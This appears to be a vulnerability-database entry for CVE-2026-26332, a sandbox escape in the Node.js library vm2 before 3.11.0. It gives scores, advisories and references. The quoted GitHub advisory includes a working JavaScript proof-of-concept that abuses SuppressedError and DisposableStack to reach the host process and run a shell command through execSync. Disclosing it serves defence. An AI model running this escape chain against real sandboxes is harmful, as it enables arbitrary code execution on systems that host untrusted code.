CVE-2026-26332
criticalpriority · track · 40EPSS 0.007 · 53 %ileDEEURUUSEPSS · scored 2026-10-26
vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.0, SuppressedError allows attackers to escape the sandbox and run arbitrary code. This issue has been patched in version 3.11.0.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (8)
Products and version ranges known to be affected.
advisories (2)
Vendor and ecosystem advisories describing this.
- WID-SEC-W-2026-1349vm2: Mehrere SchwachstellenDeutsch2026-05-03csaf · cert_bundDE
Ein Angreifer kann mehrere Schwachstellen in vm2 ausnutzen, um beliebigen Programmcode auszuführen, um einen Denial of Service Angriff durchzuführen, um Informationen offenzulegen, und um Sicherheitsvorkehrungen zu umgehen.
- GHSA-55hx-c926-fr95VM2 Has a Sandbox Escape Issue via SuppressedError2026-05-05ghsa · osvUS
In vm2 v3.10.4 on Node.js v24.13.0, `SuppressedError` allows attackers to escape the sandbox and run arbitrary code. ### PoC ```js const { VM } = require("vm2"); const vm = new VM(); vm.run(` const ds = new DisposableStack(); ds.defer(() => { throw null; }); ds.defer(() => { const e = Error(); e.name = Symbol(); e.stack; }); try { ds.dispose(); } catch(e) { const Function = e.suppressed.constructor.constructor; const process = new Function("return process;")(); const { execSync } = process.mainModule.require("node:child_process"); execSync("echo pwned", { stdio: "inherit" }); } `); ```
also known as (5)
Other names and identifiers for this entity.
sources
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references (9)
External citations — patches, advisories, analysis.
- https://github.com/patriksimek/vm2/releasesPatchcnnvd
- https://nvd.nist.gov/vuln/detail/CVE-2026-26332cnnvd
- https://github.com/patriksimek/vm2/releases/tag/v3.11.0enisa_euvd
- https://github.com/patriksimek/vm2/security/advisories/GHSA-55hx-c926-fr95enisa_euvd
- https://access.redhat.com/security/cve/CVE-2026-26332nvd
- https://bugzilla.redhat.com/show_bug.cgi?id=2466508nvd
- https://github.com/patriksimek/vm2/releases/tag/v3.11.0Release Notesnvd
- https://github.com/patriksimek/vm2/security/advisories/GHSA-55hx-c926-fr95ExploitVendor Advisorynvd
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